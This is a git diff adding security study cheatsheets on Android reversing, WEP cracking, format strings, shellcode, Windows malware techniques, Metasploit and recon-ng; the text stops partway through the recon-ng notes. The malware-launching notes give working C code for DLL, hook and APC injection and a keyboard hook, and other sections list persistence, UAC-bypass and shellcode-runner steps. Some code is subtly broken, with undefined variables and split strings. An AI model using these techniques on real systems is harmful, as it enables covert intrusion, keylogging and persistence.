+categories: [cheatsheets]
+tags: [reversing, mobile]
+---
+
+# Frida and r2frida on Android Apps
+
+## Workflow ~ initial
+
+* Setup the Phone (rooted = better)
+* download frida-server (arm64) and move it to the phone `adb push frida-server /data/local/tmp/frida-server && adb shell "chmod 755 /data/local/tmp/frida-server"`
+* Connect to the server using Frida/r2frida
+
+
+### Frida
+
+* Test the connection with: `frida-ps -U` to list all the processes on the device.
+* List all devices: `frida-ls-devices -U`
+* Interactive Scripting with `frida -U -f com.app.name` (-f to start the application (1))
+
+
+### r2frida
+
+* To interact with it: `radare2 frida://<device-id>/<pid,name, ..>`
+* Get device id with `frida-ls-devices -U`
+* usen two slashes to tell r2frida to start the application if its not already started (1).
+* All frida commands can be used with `\<command>` , for example `\?` to view the help page.
+* List all java classes: `\ic` (2)
+
+
+## Hooking Functions
+
+
+
+
+# Notes
+
+* (1) when starting directly with frida, this can bypass security mechanisms, because the app is instrumented before the startup happens!
+* (2) This works better than the Java.Enumerate...Classes() function in Frida

+ 60 - 0
cheatsheets/mobile/android-remount-rw-alternative.md

@@ -0,0 +1,60 @@
+---
+title: Android Remount /system
+categories: [cheatsheets]
+tags: [mobile]
+---
+
+# Remounting /system to rw
+
+* A rooted Phone is needed for all methods
+
+## Default Method
+
+Connect to the phone via ADB and remount the partition.
+
+```
+adb shell
+> mount -o rw,remount /system
+
+# make changes to the filesystem (e.g. changin /system/etc/hosts)
+> mount -o ro,remount /system
+```
+
+## Alternative
+
+This methods works if the above one is not working.
+This could be the case if your on a production build, where `adb root` cannot be used.
+
+1. Boot into Recovery Mode
+
+```
+adb reboot recovery
+```
+
+2. Go to Mount and check "System"
+3. Make sure that "mount read-only" is not checked.
+4. Get an ADB Shell (works in recovery mode too)
+5. Use ADB to change files (eg. /system/etc/hosts)
+
+```
+adb shell 'echo "<ip> <hostname>" >> /system/etc/hosts'
+```
+
+## Running in an emulator
+
+When using the android studio emulator, and none of the above methods is working, you
+can start the AVD (Android Virtual Device) with the ```-writable-system``` flag.
+
+Therefore, search for the AVD (probaby located in ~/.android/avd/<AVD-NAME>/ and change the emu-launch-params.txt file.
+
+Or start the emulator directly with that flag:
+
+```bash
+emulator -netdelay none -netspeed full  -avd <avd-name> -writable-system
+```
+
+You can list all available AVDs with:
+
+```bash
+emulator -list-avds
+```

+ 38 - 0
cheatsheets/mobile/android_audit.md

@@ -0,0 +1,38 @@
+---
+title: Auditing Android Applications
+categories: [cheatsheets]
+tags: [mobile]
+---
+
+
+# Auditing Android Source Code
+
+## Things to check
+
+* Check Activities & Permissions
+* Check Intents & Intent Filters
+* Check WebView + Javascript combinations (rg "JavascriptInterface")
+* PendingIntents (e.g. for notifications) that are passed to another app. (1)
+* Are all outgoing network connections secured? (Https + Public Key Pinning) (rg TrustManager) (2)
+
+## Malware Tricks
+
+* Use Native Code (in /lib/armeabi-v7a) and call it with: System.loadLibrary('name')
+* Start the webbrowser via the Intent ACTION_VIEW to bypass Internet permission.
+* Use Java Reflection to call methods by strings and obfuscate strings.
+* Permission: ACTION_NOTIFICATION_LISTENER_SETTINGS lets an app get notified when a notification is posted (by any other app)
+* Act as NotificationListener to get Pending Intents
+
+
+
+
+## More Notes
+
+(1) When giving a PendingIntent to another application, this app can
+perform the operation specified (with the same permissions & identity)
+Common Mistake: specifiy private activity in the pending intent
+More @ MOBISEC ~ Set 11, Page 53
+
+(2) No Public Key Pinning and no HSTS? -> SSL Stripping
+
+(3) SSL pinning bypass using Frida:  https://techblog.mediaservice.net/2018/11/universal-android-ssl-pinning-bypass-2/

+ 93 - 0
cheatsheets/networking/WEP.md

@@ -0,0 +1,93 @@
+---
+title: Breaking WEP
+categories: [cheatsheets]
+tags: [networking]
+---
+
+# Wired Equivalent Privacy (WEP)
+
+WEP should have following security features:
+
+* Confidentiality
+* Data authenticity and integrity
+* Access Control
+
+-> None of this features is secure!
+
+## WEP Security/Algorithm
+
+-> WEP uses RC4 to generate a pseudo random keystream to encrypt the data.
+-> RC4 is initialized with a 24-Bit initialization Vector(IV) concatenated with a 40-, 104- or 232-Bit long Key (Kbss)
+
+```IV || Kbss -> [RC4] -> keystream```
+
+keystram (+) plaintext = ciphertext
+
+-> WEP uses a 32-Bit CRC to the Data before encrypting
+
+-> ciphertext = encrypt(Plaintext || CRC)
+
+-> ciphertext and unencrypted IV are send over unenvrypted 802.11 Frame
+
+```[Frame Header][IV][ENCRYPTED PAYLOAD][Frame CRC]```
+
+
+## Attacks
+
+* RC4 is only secure if, for different messages, different Seeds for RC4 are used
+* Same initialization => Same keystream
+* If an Attacker knows the keystream of one message, he can decrypt any message encrypted with the same keystream
+
+## How to get the keystream without the key?
+
+-> Attacker needs a known Plaintext/Ciphertext pair, because of XOR:
+
+plaintext (+) keystram = ciphertext
+
+plaintext (+) ciphertext = keystream
+
+To get the plaintext to a ciphertext, you find packets that always look the same
+
+* ARP-Packets (first 8 Bytes): 0xAA AA 03 00 00 00 08 06
+* IP-Packets                 : 0xAA AA 03 00 00 00 08 00
+
+-> with this, the user can send a 8 Byte Message with this keystream
+
+## Getting more keystream bytes by doing a fragmentation attack
+
+* uses the fragmentation of 802.11
+* specified by one bit in the Frame header
+
+1. send two 8 Byte messages with the known (8 Byte) keystream
+2. tell in the frame header, that these two packets are fragmented
+3. router adds fragments together and because you know both 8 Byte, youll get a 16 byte message in return
+
+   -> So know you know 16 byte of the keystream
+
+More at:
+
+https://www.aircrack-ng.org/doku.php?id=fragmentation
+
+## Another method to get more keystream bytes:
+
+if you have 8 known Bytes of the keystream, how to get the 9. Byte?
+
+* "bruteforce" all 256 possible values, and inspect the network traffic wich byte is the correct one
+* the router discards the packets with the wrong key, and forwards the packet send with a correct key
+* repeat for more bytes
+
+# Calculate the Key (Kbss)
+
+* Bruteforce (only possible with the 40-Bit Kbss)
+* Weak IV Attack or PTW Attack
+
+Paper at:
+
+https://dl.aircrack-ng.org/breakingwepandwpa.pdf
+
+
+## Integrity can also be broken
+
+* CRC (cyclic redundancy check) is linear
+* combination of two correct packets gives another packet with correct CRC
+

+ 29 - 0
cheatsheets/networking/redirecting_packets.md

@@ -0,0 +1,29 @@
+---
+title: Redirecting Packets
+categories: [cheatsheets]
+tags: [networking]
+---
+
+# Redirecting Packets
+
+To forward packets on the way back to the sender, after redirecting them, the following command needs to be issued:
+
+```
+echo "1" > /proc/sys/net/ipv4/ip_forward
+```
+
+## Redirecting incoming packets to another Interface/Port
+
+1. Use iptables to redirect the packets:
+
+```
+iptables -t nat -A PREROUTING -p tcp --dport 1111 -j DNAT --to-destination 2.2.2.2:111
+iptables -t nat -A PREROUTING -s 192.168.1.1 -p tcp --dport 1111 -j DNAT --to-destination 2.2.2.2:111
+iptables -t nat -A PREROUTING -s 192.168.1.1/24 -p tcp --dport 1111 -j DNAT --to-destination 2.2.2.2:111
+```
+
+2. Masquerade with iptables
+
+```
+iptables -t nat -A POSTROUTING -j MASQUERADE
+```

+ 74 - 0
cheatsheets/networking/vlans.md

@@ -0,0 +1,74 @@
+---
+title: Vlans
+categories: [cheatsheets]
+tags: [networking]
+---
+
+# Virtual LANS (VLANs)
+
+Vlans can splits different Hosts in the local network.
+
+* Basically: Switches only forward Frames inbetween same vLan
+* Therefore you can have multiple LANs within one Network without the need of multiple Switches and Cables
+
+Whats Important:
+
+* belonging of Stations
+* Configuration
+* Communication between the Switches
+* IEEE Standards
+
+## Normally:
+
+1 Switch with 3 Ports, one every Port there are multiple Stations (each Port is one separated network)
+
+## VLAN:
+
+1 Switch with X Ports, having multiple Stations, randomly at the switch, having multiple VLANS that are port-independent
+
+* Works over Backbones
+* Works with other technologies (IP)
+
+## Membership
+
+Different techniques:
+
+Split by:
+
+* Port Numbers (Ports on a switch)
+* MAC addresses (defined in the switch)
+* IP Addresses (-> not really good)
+* Multicast IP addresses (one IP multicast = one vlan)
+* a combination of the above
+
+## Truncation
+
+This is for the case you have multiple VLAN Switches
+-> The switches have a "Trunk Port" over which the Frames are passed from one switch to another
+-> Packets are tagged with a vlan ID to identify the correct vlan membership
+
+## Frame Tagging (IEEE 802.1q for Frame Tagging)
+
+Another Field in the Frame for the Vlan tag:
+
+```[TAG]  = [Ether Type][PRI][CFI][VLAN ID]```
+
+- Ether Type: (16 Bit) to know that this is a vlan packet
+- PRI: (3 Bit) Priority
+- CFI: (1 Bit) almost always 0 (for compatibility with token ring)
+- VLAN ID: (12 Bit) Number of the corresponding vlan
+
+
+## Priorities
+
+Quality of Service Classes:
+
+* 0 : Best Effort (BE)
+* 1 : Background (BK)
+* 2 : - (not specified)
+* 3 : Excellent Effort (EE)
+* 4 : Controlled Load (CL)
+* 5 : Video < 100ms (VI)
+* 6 : Voice < 10ms (VO)
+* 7 : Network Control (NC)
+

+ 46 - 0
cheatsheets/security/exploitation/formatstring.md

@@ -0,0 +1,46 @@
+---
+title: Format String Vulnerabilities
+categories: [cheatsheets]
+tags: [security, exploitation]
+---
+
+# Format String Exploits
+
+Format string exploits occur when haven user supplied input in as the format string of printf. (or any format string function)
+
+**Functions to look for:**
+
+* printf
+* fprintf
+* sprintf
+* snprintf
+* vfprintf
+* vprintf
+* vsprintf
+* vsnprintf
+
+
+## Reading arbitrary values from the stack
+
+User input is stored on the stack, so by using enough format specifiers you can read the own input
+
+For example:
+```
+> fstring AAAAAA%x%x%x....%x%x
+> output: bff2132a bff29b2a ... 41414141
+```
+
+With that you can read strings from arbitrary adresses using:
+
+`fstring Þ­¾ï%x%x...%x%x%s`
+
+
+## Using direkt parameter access
+
+all those %x%x%x are not needed, you can have a direct parameter acces with:
+fstring "%3$x" to access the 3rd value.
+
+
+
+
+

+ 55 - 0
cheatsheets/security/exploitation/radare2.md

@@ -0,0 +1,55 @@
+---
+title: radare2
+categories: [cheatsheets]
+tags: [security, exploitation]
+---
+# Radare2 Cheatsheet
+
+1) Renaming Variables
+
+```
+r2> afvn [old_name] [new_name]
+```
+
+2) Print out variable
+
+```
+r2> .afvd [variable_name]
+```
+
+## Debugging
+
+Find the Addr of a Libraryr and symbol
+```
+r2> dm                          // Show loaded Libarys
+r2> dmi [library]~symbol        // show symbols for lib and grep for symbol name
+```
+
+
+
+## Create DeBrujn Sequence:
+```
+sh> ragg2 -P 100 -r
+
+// & to then get the Offset
+r2> wopO esp
+```
+
+## rarun2 in radare
+
+create a rarun script: runprofile.rr2
+
+```
+#!/usr/bin/rarun2
+program=./a.out
+arg1=AAAA
+arg2=!python exploit.py
+stdio=/dev/pty/1             // use another tty as stdio (tty to get terminal name + let the terminal sleep with sleep 9999999)
+```
+
+To use this script in radare:
+`r2> e dbg.profile=runprofile.rr2`
+
+
+
+

+ 49 - 0
cheatsheets/security/exploitation/shellcode.md

@@ -0,0 +1,49 @@
+---
+title: Shellcoding Tips
+categories: [cheatsheets]
+tags: [security, exploitation]
+---
+
+# Shellcode
+
+## Defeat null-bytes
+
+For:
+```
+    mov eax, 0
+```
+Use:
+```
+    xor eax, eax  ; to clear/zero a register
+```
+For:
+```
+    mov ebx, 0x00XX
+```
+Use:
+```
+    mov ebx, 0x11XX
+    shle 0x8
+    shr 0x8
+```
+
+
+## Convert objectdump to a hex string of shellcode
+
+```
+for i in $(objdump -d <objfile.o> |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
+```
+
+## Execute shellcode in C-Code
+
+```c
+char shellcode[] = "H1 ....";
+
+int main() {
+    int(*ret)() = (int(*)())shellcode;
+    ret();
+    return 0;
+}
+```
+
+

+ 38 - 0
cheatsheets/security/malware/COM.md

@@ -0,0 +1,38 @@
+---
+title: COM.md
+categories: [cheatsheets]
+---
+# The Component Object model (COM)
+
+-> Interface Model, makes it possible for Applications to call code from other Apps.
+-> Without knowing underlining structures etc
+
+Client/Server Framework (Malware uses client Models and sometimes COM Servers)
+
+### Find COM Objects: 
+	If a Application uses COM Objects it needs to init. those by calling OleInitialize() or CoInitialzeEx()
+
+
+### Naming:
+* GUIDs 	- globally Unique identifiers 
+* CLSIDs 	- Class identifiers
+* IIDs 		- Interface identifiers
+
+CoCreateInstance() is used to get access to the COM functionality.
+
+Classes and theire codes a stored in the Registry under "HKLM\SOFTWARE\Classes\CLSID\"
+
+a function for a COM Objects is called by using the structure given from CoCreateInstance() + the offset of the method you want to call.
+
+Usage in C-Code
+-----------------------------------------------
+
+```C
+HRESULT CoCreateInstance(
+  _In_  REFCLSID  rclsid,
+  _In_  LPUNKNOWN pUnkOuter,
+  _In_  DWORD     dwClsContext,
+  _In_  REFIID    riid,
+  _Out_ LPVOID    *ppv
+);
+```

+ 7 - 0
cheatsheets/security/malware/anti-debugging.md

@@ -0,0 +1,7 @@
+---
+title: anti-debugging.md
+categories: [cheatsheets]
+---
+# Anti Debugging
+
+Very good resource: https://www.codeproject.com/articles/1090943/anti-debug-protection-techniques-implementation-an

+ 57 - 0
cheatsheets/security/malware/createmutex.md

@@ -0,0 +1,57 @@
+---
+title: createmutex.md
+categories: [cheatsheets]
+---
+# CreateMutex()
+
+-----------------------------------------------------------------------
+
+```C
+HANDLE WINAPI CreateMutex(
+  _In_opt_ LPSECURITY_ATTRIBUTES lpMutexAttributes,
+  _In_     BOOL                  bInitialOwner,
+  _In_opt_ LPCTSTR               lpName
+);
+```
+
+-----------------------------------------------------------------------
+
+Microsoft Documentation: https://msdn.microsoft.com/en-us/library/windows/desktop/ms682411(v=vs.85).aspx
+
+-----------------------------------------------------------------------
+
+Mutexes are used for inter-process communication, eg. Malware checks if its already running by opening 
+a preset mutex OpenMutex(), and thereby checking if its already running.
+Example below.
+
+-----------------------------------------------------------------------
+
+Usage:
+
+```C
+#include <stdio.h>
+#include <stdlib.h>
+#include <windows.h>
+
+int main() {
+
+	LPCSTR mName = "MyMutex";
+
+	HANDLE hMutex = CreateMutex(NULL, true, mName);
+
+	if(!GetLastError()) {
+		printf("Mutex \"%s\" created with Handle: %d
+", mName, hMutex);
+	}
+
+
+
+	HANDLE oMutex = OpenMutex(MUTEX_ALL_ACCESS, false, mName);
+
+	if(GetLastError() == ERROR_FILE_NOT_FOUND) {
+		printf("Malware not running...
+");
+	}
+
+}
+```

+ 47 - 0
cheatsheets/security/malware/createthread.md

@@ -0,0 +1,47 @@
+---
+title: createthread.md
+categories: [cheatsheets]
+---
+# CreateThread()
+
+-----------------------------------------------------------------------
+
+```C
+HANDLE WINAPI CreateThread(
+  _In_opt_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
+  _In_      SIZE_T                 dwStackSize,
+  _In_      LPTHREAD_START_ROUTINE lpStartAddress,
+  _In_opt_  LPVOID                 lpParameter,
+  _In_      DWORD                  dwCreationFlags,
+  _Out_opt_ LPDWORD                lpThreadId
+);
+```
+
+-----------------------------------------------------------------------
+
+Microsoft Documentation: https://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx
+
+-----------------------------------------------------------------------
+
+Usage:
+```C
+#include <stdio.h>
+#include <stdlib.h>
+#include <windows.h>
+
+
+DWORD WINAPI add(LPVOID lpParameters) {
+	// Do Thread activity
+}
+
+
+int main() {
+	
+	LPDWORD thId = (LPDWORD)malloc(sizeof(LPDWORD));
+	HANDLE hThread = CreateThread(NULL, 0, add, NULL, NULL, thId);
+	printf("Thread %d created!
+Handle@%d
+Error? %s", thId, hThread, GetLastError()?"Yeah probably":"Naah not really");
+
+}
+```

+ 5 - 0
cheatsheets/security/malware/maliciouswindowsfunctions.md

@@ -0,0 +1,5 @@
+---
+title: maliciouswindowsfunctions.md
+categories: [cheatsheets]
+---
+# Windows API

+ 295 - 0
cheatsheets/security/malware/malware_launching.md

@@ -0,0 +1,295 @@
+---
+title: malware_launching.md
+categories: [cheatsheets]
+---
+# Covert Process Launching
+
+## Process Injection
+
+### DLL Injection
+
+* a remote process is forced to load a DLL
+* DLLMain is called once the DLL is loaded
+* Most common way:
+	- Obtain PID of remote process
+	- get Handle via OpenProcess()
+	- VirtualAlloc to create space for DLL Name
+	- WriteProcessMemory to write DLL Name in allocated space
+	- CreateRemoteThread(LoadLibrary, "Name of DLL")
+
+
+
+### Easy DLL Injection Code
+```C
+#include <stdio.h>
+#include <stdlib.h>
+#include <windows.h>
+
+
+int main() {
+	
+
+	const DWORD pid = 11428;
+	char *dllName = "H:\awesome.dll";
+
+	printf("[+] PID: %lu
+", pid);
+
+	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
+
+	if(hProc == NULL) {
+		printf("[-] Error opening Process
+");
+		return 1;
+	}
+
+
+	LPVOID lpAlloc = VirtualAllocEx(hProc, NULL, strlen(dllName), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+	if (lpAlloc == NULL)
+	{
+		printf("[-] Problem Allocating Memory in remote Process
+");
+		return 1;
+	}
+
+	printf("[+] Got Pointer to Memory @%08p
+", lpAlloc);
+
+	SIZE_T bytesWritten = 0;
+
+	if(!WriteProcessMemory(hProc, lpAlloc, dllName, strlen(dllName), &bytesWritten)) {
+
+		printf("[-] Error writing string into remote process
+");
+		return 1;
+	}
+
+
+	printf("[+] Wrote String in Memory
+");
+
+	HMODULE hKernel32 = GetModuleHandle("kernel32.dll");	
+
+	if(!hKernel32) {
+		printf("[-] No Handle to Kernel32.dll");
+		return 1;
+	}
+
+
+	printf("[+] Got Kernel32.dll
+");
+	FARPROC fpLoadLib = GetProcAddress(hKernel32, "LoadLibraryA");
+
+	if(!fpLoadLib) {
+		printf("[-] No Address for LoadLibrary
+");
+		return 1;
+	}
+
+
+	printf("[+] Address of LoadLibaray: %08p
+", fpLoadLib);
+
+	// Create Remote Thread
+	if(!CreateRemoteThread(hProc, NULL, 0, fpLoadLib, lpAlloc, 0, NULL)) {
+		printf("[-] Failed to CreateRemoteThread() :-(
+");
+		return 1;
+	}
+
+
+	return 0;
+}
+```
+
+
+
+### Direct Injection
+
+* Injecting Code directly in the process
+* Functions used: VirtualAlloc(), WriteProcessMemory() & CreateRemoteThread()
+* no normal compilation
+* -> strings and vars are not in the Data-Section...
+
+### Process Replacement
+
+* Complete Memory space is overwritten with a malicious process
+* Process gets same privileges as the replaced one
+* To Achive this:
+	- CreateProcess() in suspended-mode
+	- ZwUnmapViewOfSection() to release all Memory pointed to
+	- VirtualAlloc() to alloc. new Memory for the Process
+	- Restore process environment with WriteProcessMemory()
+	- -> Pe Header, Sections, ..
+	- SetThreadContext() to set Entry Point
+	- ResumeThread() to call Entry Point
+
+
+### Hook Injection
+
+* Hooks are used to intercept Windows Messages
+* Two types of Hooks
+1. Local Hooks - observe/manipulate messages for a internal Process
+2. Remote Hooks - observe/manipulate messages for a remote Process
+
+* Remote Hooks are split in two other types:
+1. High-Level Hooks - Hook Proc as exported function in a DLL, which is mapped by the OS 
+into ProcessSpace of one or more Threds
+2. Low-Level Hooks - Hook Proc contained in the Process which installed the Hook
+
+
+* Hooks are often Used in keyloggers to hook the Keystroke Messages
+* Using SetWindowsHookEx()
+
+
+### Example LowLevel Keyboard Hook
+```C
+#include <stdio.h>
+#include <stdlib.h>
+#include <windows.h>
+
+HHOOK ownhookHandle;
+
+LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
+
+	if(wParam == WM_KEYDOWN) {
+		printf("Key pressed
+");
+	}
+	return CallNextHookEx(own, nCode, wParam, lParam);
+}
+
+
+int main() {
+	
+	hookHandle =SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
+	if(!own) {
+		printf("[-] No Hook for you :(
+");
+		return 1;
+	}
+
+	MSG msg;
+	while (GetMessage(&msg, NULL, 0, 0))
+	{
+	}	
+
+	return 0;
+}
+```
+
+###	 With this technique its also possible to force a Process to load a Malicious DLL
+
+* Done by Setting a Hook for a remoteThread
+* -> GetThreadId()
+* Set a Hook for a less used Message (WH_CBT)
+* Use a procedure from a malicious DLL
+* Remote Process loads the DLL in its Memory space and executes DllMain
+
+Example
+```C
+// hooking.c
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <windows.h>
+
+
+int main() {
+	
+	int pid = 14464;
+	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
+
+	if(!hProc) {
+		printf("[-] Failed to Open Target Process
+");
+		return -1;
+	}
+
+	HMODULE maldll = LoadLibraryA("H:\mal.dll");
+
+	if(!maldll) {
+		printf("[-] Couldnt Load Library
+");
+		return -1;
+	}
+
+	HOOKPROC hookingProcedure = (HOOKPROC)GetProcAddress(maldll, "hookingProc");
+
+	if(!hookingProcedure) {
+		printf("[-] Failed to get hookproc
+");
+		return -1;
+	}
+
+
+	HHOOK hookHandle = SetWindowsHookEx(WH_CBT, hookingProcedure, maldll, 0);
+
+	if(!hookHandle) {
+		printf("[-] No Hook for you :(
+");
+		return -1;
+	}
+
+	printf("[+] Successfully injected dll..
+");
+
+	return 0;
+}
+``` 
+
+
+### Detours
+
+* Library developed by Microsoft
+* easy import-table modification
+* Often used to add new DLLs to Binaries on Disk
+* creates section named .detours with the original PEHeader
+
+
+### APC Injection
+
+APC = Asynchronous Procedure Call
+
+=> Like CreateRemoteThread() but invokes a existing Thread
+
+* Used to execute Code directly
+* APC Queues are process if a Thread did not start already
+* OR if the Thread is in a Alertable State and "WaitForSingleObject()" is called..
+* 2 kinds of APC's
+	1. APC for the System, Drivers, etc are called Kernel-Mode APC's
+	2. APC for Applications are called User-Mode APC's
+
+### User-Mode APC Injection
+
+* Uses the Windows API Function QueueUserAPC(pfnAPC, hThread, dwData)
+* Malware often uses CreateToolhelp32Snapshot, Process32First/Next and Thread32First/Next
+	to find working Processes and alertable Threads
+* svchost.exe is a common target
+* 'pfnAPC' is a Function Pointer, hThread the Handle to the Thread, and dwData the pointer to the Parameter for the Function pfnAPC
+* Used for DLL injection by using LoadLibaray as pfnAPC and the DLL Name as Parameter
+
+
+#### Example
+
+```C
+
+// Same Code as for the DLL injection...
+// Replace CreateRemoteThread with:
+// a threadId is needed
+
+
+HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
+
+if(!QueueUserAPC((PAPCFUNC)fpLoadLib, hThread, (ULONG_PTR)lpAlloc)) {
+	printf("Failed to APC Inject :(
+");
+}
+```
+
+
+
+
+
+
+

+ 32 - 0
cheatsheets/security/malware/persistence.md

@@ -0,0 +1,32 @@
+---
+title: persistence.md
+categories: [cheatsheets]
+---
+# Persistence
+
+### Registry
+
+* SOFTWARE\Microsoft\Windows\CurrentVersion\Run - Normal Startup Folder
+* SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs <-- Space Delimited String of DLLs
+* SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify <-- Loaded when winlogon.exe starts
+* ScvHost Dlls in
+
+
+### DLL load order hijacking
+
+* Order a DLL is loaded in Windows:
+	- App. Directory
+	- Current Directory
+	- The System Directory (C:/windows/system32)
+	- Windows Directory (C:\Windows)
+	- Directories listed in Path variable
+
+Exception: Dlls listed in knownDll Registry Key, they get loaded first.
+
+If there is a DLL not in system32 folder which includes a DLL, not listed in knownDLLs these can be hijacked
+by placing a malicious dll in the current dir where the .exe sits.
+
+
+
+
+

+ 46 - 0
cheatsheets/security/malware/services.md

@@ -0,0 +1,46 @@
+---
+title: services.md
+categories: [cheatsheets]
+---
+# Services
+
+Services run without their own Process. Services are run as background jobs.
+Run & Scheduled by the Windows Service Manager (WSM) 
+
+Services got SYSTEM Priviledge (only as Administrator installable).
+Services are also a Way of Persistance (can be run on startup)
+
+## Win32 API Functions to manipulate Servies: 
+* OpenSCManager(): Returns HANDLE to a Service (ServiceControlManager)
+* CreateService(): Creates a new Service, and adds it to the SC Manager
+* StartService(): Starts a Service if set to "manually"
+
+## ServiceTypes:
+
+Different ServiceTypes that tell how a Service is executing ('Type'-Field in the Registry)
+
+* WIN32_SHARE_PROCESS: Code in a DLL, run from svchost.exe
+* WIN32_OWN_PROCESS: Code in a exe, runs a individuall Process
+* KERNEL_DRIVER: Used for loading Code into the Kernel
+
+Each Service gets a Registry Entry @ HKLM/SYSTEM/CurrentControlSet/Services/
+
+
+Access Service Information with 'sc qc "Service Name"'
+
+example: sc qc "VMware NAT Service"
+```
+C:\>sc qc "WinNat"
+[SC] QueryServiceConfig ERFOLG
+
+SERVICE_NAME: WinNat
+        TYPE               : 1  KERNEL_DRIVER
+        START_TYPE         : 3   DEMAND_START
+        ERROR_CONTROL      : 1   NORMAL
+        BINARY_PATH_NAME   : system32\drivers\winnat.sys
+        LOAD_ORDER_GROUP   :
+        TAG                : 0
+        DISPLAY_NAME       : Windows-NAT-Treiber
+        DEPENDENCIES       : Tcpip
+        SERVICE_START_NAME :
+```

+ 29 - 0
cheatsheets/security/malware/structured_exception_handling.md

@@ -0,0 +1,29 @@
+---
+title: structured_exception_handling.md
+categories: [cheatsheets]
+---
+# Structured Exception Handling (SEH) in Windows
+
+
+in 32Bit Windows, Exception Information is stored on the Stack!
+
+Looks like this:
+
+```ASM
+
+push	offset loc_10061C0
+mov	eax, large fs:0
+push 	eax
+mov 	large fs:0, esp
+```
+
+Exception Information is stored at fs:0.
+When a Exception occures the OS looks at fs:0 for the Exception Handling Routine, calls it and returns back to the current EIP
+
+
+## SEH in Exploitation
+
+The Pointer to the Handler Routine at fs:0 can be overwritten within a Buffer Overflow,
+so by causing an Exception you can run your own Code
+
+

+ 49 - 0
cheatsheets/security/pentesting/http_security_headers.md

@@ -0,0 +1,49 @@
+---
+title: Http Security Headers
+categories: [cheatsheets]
+tags: [security, pentesting]
+---
+# HTTP Security Header
+
+6 Important HTTP Header for security.
+
+## 1) content-security-policy:
+
+defining sources where content is allowed to be loaded from.
+
+Eg. `content-security-policy: script-src: 'self'`
+
+More Info:
+
+https://www.keycdn.com/support/content-security-policy/
+
+## 2) X-XSS-Protection
+
+Tells the Browser to use the browsers XSS Filter an all input:
+`x-xss-protection: 1; mode=block`
+
+## 3) X-content-type protection
+
+Important header for content-type sniffing, a browser can "sniff" the content type of a loaded resource,
+eg a .png file could contain some javascript code, the browser detects the JS and executes the png file as script file.
+
+this can be disabled by:
+`x-content-type: nosniff;`
+
+## 4) HTTP Strict Transport Security (HSTS)
+
+HSTS tells the browser to enforce a https connection on the next visit. so when a user enters a site,
+the browser knows to use the https protocol, this mitigates ssl stripping attacks.
+
+`strict-transport-security: max-age=31536000; includeSubDomains; preload`
+
+## 5) HTTP Public Key Pinning (HPKP)
+this is used to pin a specific public key (from the certifcat) to the webserver,
+this prevents other ca's from issuing a new certificate for your domain, eg. when a root CA is compromised.
+
+`public-key-pins: pin-sha256:"publickey_in_base64"`
+
+## 6) X-Frame-options
+this header provides clickjacking protection, by not allowing iframes to load on this site.
+
+`x-frame-options: SAMEORIGIN`

+ 111 - 0
cheatsheets/security/pentesting/metasploit.md

@@ -0,0 +1,111 @@
+---
+title: Metasploit Framework
+categories: [cheatsheets]
+tags: [security, pentesting]
+---
+
+# Metasploit
+
+1) Initialize Database
+
+```sh
+sh> service postgresql start
+sh> msfdb init
+```
+
+2) Check Database Status:
+```
+msf> db_status
+```
+
+3) Update Metasploit:
+```
+sh> msfupdate
+```
+
+4) Login to Metasploit
+```
+msf> setConsoleLogging yes
+msf> setSessionLogging yes   // for future sessions
+
+msf> spool <FileName>       // save logged data into file
+msf> save                   // save settings
+```
+
+# Exploits/Payloads
+
+1) Encrypt the different meterpreter stages:
+```
+msf> set EnableStageEncoding True
+```
+
+2) Autostart a script in a new meterpreter session
+```
+msf> set AutoRunScript post/windows/manage/migrate
+
+```
+-> or: there is a PrependMigrate option in some modules available
+
+
+# Persistence
+
+```
+msf> run persistence -p <PORT> -r <RHOST> -X -U -P <PAYLOAD>
+-X: Start on Systemstart
+-U: Start on Userlogin
+```
+
+Important:
+
+* Delte the persistent shell after finishing the job
+* remove-script is created when using the persistence module
+
+# Pivoting
+
+1) create route into a session for the pivoting
+```
+msf> route add <netaddr> <netmask> <sess-id>
+msf> route add 10.10.10.10.0 255.255.255.0 1
+```
+
+2) explore routed network
+
+2.a) ping_sweep (doesn't need a route)
+```
+msf> use post/multi/gather/ping_sweep
+msf> set RHOSTS 10.10.10.1-255
+msf> set SESSION 2
+msf> run
+```
+
+2.b) arp_sweep
+```
+msf> use post/multi/gather/arp_sweep
+```
+
+2.c) portscans
+```
+msf> use auxiliary/scanner/portscan/tcp
+```
+
+# Interesting Modules
+
+I) Exploitation
+```
+exploit/windows/local/bypassuac             // UAC Bypas
+exploit/windows/local/trusted_service_path  // Checks for unquoted service paths
+```
+II) Information Gathering
+
+```
+post/windows/gather/winenum                 // mp> run winenum (-c: delete logs, -r: download registry, -m: winenum in sep. session)
+post/windows/enum_chrome                    // Get Browserdata from chrome, ff, ie
+post/windows/enum_firefox
+post/windows/enum_ie
+post/windows/gather/phish_windows_credentials  // PS Login Field for social engineering
+```
+III) Auxiliary
+```
+auxiliary/scanner/smb/smb_version
+auxiliary/admin/smb/samba_symlink_traversal // follows symlinks (if in config: follow symlinks=yes )
+```

+ 76 - 0
cheatsheets/security/pentesting/recon-ng.md

@@ -0,0 +1,76 @@
+---
+title: recon-ng
+categories: [cheatsheets]
+tags: [security, pentesting]
+---
+
+# recon-ng
+
+1) Add Workspace
+```
+rng> workspaces add <name>
+```
+
+2) Adding Domains
+```
+rng> add domains abc-def.com
+rng> add domains zz-ok.de
+rng> show domains
+```
+
+3) Hosts
+```
+rng> show hosts
+```
+
+4) Modules
+```
+rng> show modules
+rng> use <module_path>  // or
+rng> load <module_path>
+rng> show info          // Infos for one module
+rng> run
+```
+
+# Example Workflow
+
+1) Adding the domains.
+```
+rng> add domains hs-albsig.de
+rng> add domains fh-albsig.de
+```
+
+2) Finding the Hosts with DNS
+```
+rng> load netcraft
+rng> run
+```
+
+3) Finding the Host with a search engine
+```
